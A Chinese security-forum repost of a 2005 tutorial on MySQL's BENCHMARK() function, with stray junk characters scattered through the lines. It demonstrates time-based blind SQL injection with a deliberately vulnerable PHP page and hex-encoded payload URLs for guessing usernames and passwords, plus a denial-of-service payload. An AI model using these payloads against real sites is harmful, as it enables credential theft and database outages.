找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1959|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用 ! _/ N+ S& j5 a0 }& H
本文作者:SuperHei& s( F2 @! T, g1 e8 m* Q
文章性质:原创% |$ X3 y3 ]" O2 {/ ]
发布日期:2005-01-02
9 F* g- s# I" i0 f& P* ~: i完成日期:2004-07-09 3 u3 h& L+ W% Y9 n+ v
第一部% E, j9 @6 _8 M+ {6 J
- O: h* @3 y0 Q: m+ I
利用时间推延进行注射---BENCHMARK函数在注射中的利用 ) o& q. w( }! Q* B, [+ L! v% D2 P7 z$ X

8 W5 e# O6 e1 _' o& U) ^一.前言/思路6 u! p5 v' s2 @

/ T1 E6 P6 }# s- ^  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
: o: I3 I* s2 R4 G  g! R6 m3 j- R- l; q8 _6 I- a; N8 h
  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
# i% X5 x: Y4 }1 S! G! r8 M1 X) r& ^8 O, a8 {
二.关于BENCHMARK函数
5 Y4 f8 n( y! F+ L  A
" d: C# |' e% r( @& I8 k, z, g, X; b  在MySQL参考手册里可以看到如下描叙:
: o' h' X  @& D4 x- o
2 I( [* P1 T( x+ R! C3 C7 |' y% p$ B  S* \
--------------------------------------------------------------------------------
; Y- m$ o# f, K  a! g6 h6 f; Y
" W0 O  Z% R; r" N5 rBENCHMARK(count,expr)
# n) s6 p( Y( d6 ~& w) ]. ]. `BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 8 M) p( u4 L# V$ B" Z; J
mysql> select BENCHMARK(1000000,encode("hello","goodbye")); % ~6 @4 B3 _! d' O; A, }/ X
+----------------------------------------------+ ( X/ Z, j6 [* ?' I5 i
| BENCHMARK(1000000,encode("hello","goodbye")) |
/ L4 w* |( D( b) z: O+----------------------------------------------+
+ M* w3 w# h9 K- x' h| 0 | , r; `* k+ j$ ]& N4 P2 A2 e
+----------------------------------------------+ / u0 S: C# g2 x) V
1 row in set (4.74 sec)
! u, _  K& [; L2 f" j$ Q) Y  k8 ^
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
, `( \8 U" h/ ?# E4 D7 P" K4 a9 _: Q" l' _' `+ }- F6 i# ^

9 Z3 i0 {  ^/ ^--------------------------------------------------------------------------------
* X7 U9 j( d& \( D: z* {. q0 n2 F
6 H( R5 b# G/ |) U7 _' Y# W  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
4 P# ~+ L$ i- a7 D- V
/ d0 z. z% ?3 C7 Xmysql> select md5( 'test' );   s5 l/ A. \: q# X) K/ {# ]2 b
+----------------------------------+ 9 W. l# w. ^9 H- f) X4 f
| md5( 'test' ) |
+ Y) J4 ]; U/ N/ T( x* a5 E2 K+----------------------------------+ 4 G; c6 f6 l6 e# a, f; ]
| 098f6bcd4621d373cade4e832627b4f6 |
' C  K, L% k0 x  Q+ B# H9 t7 z+----------------------------------+ . `, y6 q4 J: Z1 `: k( L
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec 6 [0 [8 X. t  a( ]7 w* n

) ?8 c' e$ a1 v; i+ Q) O6 {mysql> select benchmark( 500000, md5( 'test' ) );
) M: b' ^1 \8 B) d& H7 E( K+------------------------------------+
% S/ j7 ^( [0 c$ q8 \+ m| benchmark( 500000, md5( 'test' ) ) |
% {& y: [' j/ T, t+------------------------------------+ . q. z  U4 A$ I9 G; u/ q
| 0 |
& W& w( U; A: t* k% n, T5 q+------------------------------------+ : `8 r0 i' D* J& L$ }) |5 ]! E8 y
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
/ G+ V; k& L1 e . u8 s% e: M9 [; Y
& @+ E2 ]  H# f0 Q7 g% E/ I: h' [
  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 8 I: v0 Q0 V9 Y8 {$ `. g$ o- Y# @
3 J5 [0 S+ L3 B6 N' s
三.具体例子
2 m2 F0 c3 E# m, }% M$ z+ b1 D9 g9 [) Y, j; X$ t  u& N
  首先我们看个简单的php代码:5 T; J; b/ _6 c- X
4 i, Q8 r; d* |& ^3 T. U, S
< ?php ' k( C2 m! R9 [1 ], q  o, L
$servername = "localhost";
2 u5 b6 p# H( ~7 E$dbusername = "root"; 0 z, b# ~! d& ?+ m: E
$dbpassword = "";
1 C! w4 n$ w: a) q7 x% ]. U1 g$dbname = "injection"; 1 L6 G) N2 H  T) J

/ Z- Q- d& d+ Z: L& ]3 Imysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
  k) N7 ~; s8 ]: O/ k. f
* e  M1 M- d) i# w' t* _$sql = "SELECT * FROM article WHERE articleid=$id"; 8 Y: {7 ?- M) W0 A% |
$result = mysql_db_query($dbname,$sql); ( j8 u/ x# u/ E0 J) J' `( K, z
$row = mysql_fetch_array($result);
( n- q; F: L! `) ]- y$ X4 N9 E" i9 R* X0 d. p7 E* S4 ^
if (!$row)
/ I$ h5 W: u6 S8 A% _{ 7 L1 J0 Z; J8 o( n# P; T
exit;
9 B) q8 W6 A. H/ k}
3 w5 t% m- _1 v% b?>2 C! P" B7 z; v( I1 m5 t
% R9 z7 I% o# Q# O0 r
8 V- x) P# f3 _, a* Z# E" ^
  数据库injection结构和内容如下:
3 e6 n& K. y1 a2 j5 D% W) R* y( U! b" [9 c! ?
# 数据库 : `injection` 9 e$ D5 R$ [' p
#
" j$ a  r6 K5 J- A# k3 h( I$ A6 I% H8 O0 a
# -------------------------------------------------------- 5 O, T5 Z1 Z) F1 g$ G' w" V

' E+ p& J6 }2 q4 U#
5 |6 R) q8 o+ y( R- K- r: @3 E+ r# 表的结构 `article`
# f+ \& \; n2 t" b5 \' d' E# 9 A. P6 s' O+ s, i8 F" d* Q/ U0 g- y. |

& W" Y3 N" i) h) z2 |3 }CREATE TABLE `article` ( , i" \) x1 n; |/ O  a
`articleid` int(11) NOT NULL auto_increment, 0 J( I8 p3 x$ G6 B
`title` varchar(100) NOT NULL default '',
, [+ h, e( h! F$ X. n6 Z`content` text NOT NULL, * ^4 c* I8 O; G) A
PRIMARY KEY (`articleid`) 5 u0 q% i: P' P9 Y$ Z9 b: [! v2 v
) TYPE=MyISAM AUTO_INCREMENT=3 ; # Y0 L6 Q  @; t9 r0 Y) E

8 _# B8 p- r+ _1 s# 7 C* H5 ]0 B, d- x/ F2 a- H7 b  Z
# 导出表中的数据 `article` : h7 O( A$ e5 g( ?' A$ a
#
- a4 }: G9 }' p4 M6 r& @$ N/ C$ J1 ~
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); * V( y1 n4 g' t2 a$ q0 ?6 i9 Y
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
2 a) q5 A& @& S# D/ v7 E  M+ E' f0 u
# --------------------------------------------------------
' G6 n; R) V* M6 V. j5 _$ L& Z  F) h# [6 o$ x) i
#
' H/ t" g1 b* I# 表的结构 `user` ' p* j8 P- Y$ r, U+ B$ g3 D$ R
#
# l" I. n1 b; U8 U
' v& {, A8 U. J6 GCREATE TABLE `user` (
3 B& c# w4 o. L1 t`userid` int(11) NOT NULL auto_increment,
/ m1 L4 i9 c6 g" f`username` varchar(20) NOT NULL default '',
7 S1 M2 k- Q: `8 w`password` varchar(20) NOT NULL default '', : r! m- I; n% H5 t* T7 R+ o7 v% z
PRIMARY KEY (`userid`)
; t9 \0 b4 H9 ]2 D/ D  |) TYPE=MyISAM AUTO_INCREMENT=3 ;
. u( l9 G) y% o1 X* w
' M$ q3 |, ]# F8 E) n# U#
) \/ q8 J: U* I1 ?# 导出表中的数据 `user`
8 X4 _* H3 e2 S. `# - Q. z9 [: k+ ?" f6 {
4 V0 n4 U, x& R7 ^6 n5 k
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
7 l. @1 J* ?' yINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
  e( a0 S; Y' [0 P 1 y$ N$ o7 F3 W- I8 \9 p8 z

& {% @& w7 V: g4 T, X  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:& s* J7 R' `( Y. t! e
, d' x. b% Q9 L' h* K& [
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*7 _, Q+ L3 [8 {. h

" M  f9 s, t' H4 S+ J% x, E% s
7 q" Y, {+ ?* `& w& W0 ^7 ^# L  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:! ~' F. C; g1 j9 G6 z
. c3 |. T& q' S$ l# G0 L
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*+ f: N4 \: V) p! ]

: a7 [$ F- Q7 D: V3 q0 c. k/ U# s% k' N
  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
- x- V" f$ q  e- X1 w% {. c$ T) S+ z
  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
5 j( s. n% V7 [( |" T- O! |. V( r; f# E% p5 o
第二部
: I0 Y+ m* m" s  j# s, J0 f$ c4 W9 \- V+ F0 p5 n: U1 b8 |5 z1 x
利用BENCHMARK函数进行ddos攻击 6 F. K  V" W; R% ^% R' c# R
/ g5 s- G- G! D
  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:: _$ h  X0 o) Q: v6 N
9 E+ t4 d3 H: Z9 T" ]1 `0 t
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
3 H% p+ F% g0 d0 a# a
5 J. O  g3 z. L/ p. v( c
! Z/ `* a1 F$ n$ ~$ X小结4 y* ^2 D3 w3 ?

% p5 e8 g5 x( l2 E; w) l  V  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
/ F* W2 f9 ?* l9 y: l: c 7 j# U8 ]# A% N* w) m5 Z' T0 C
  
$ x' W; b) v) X
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表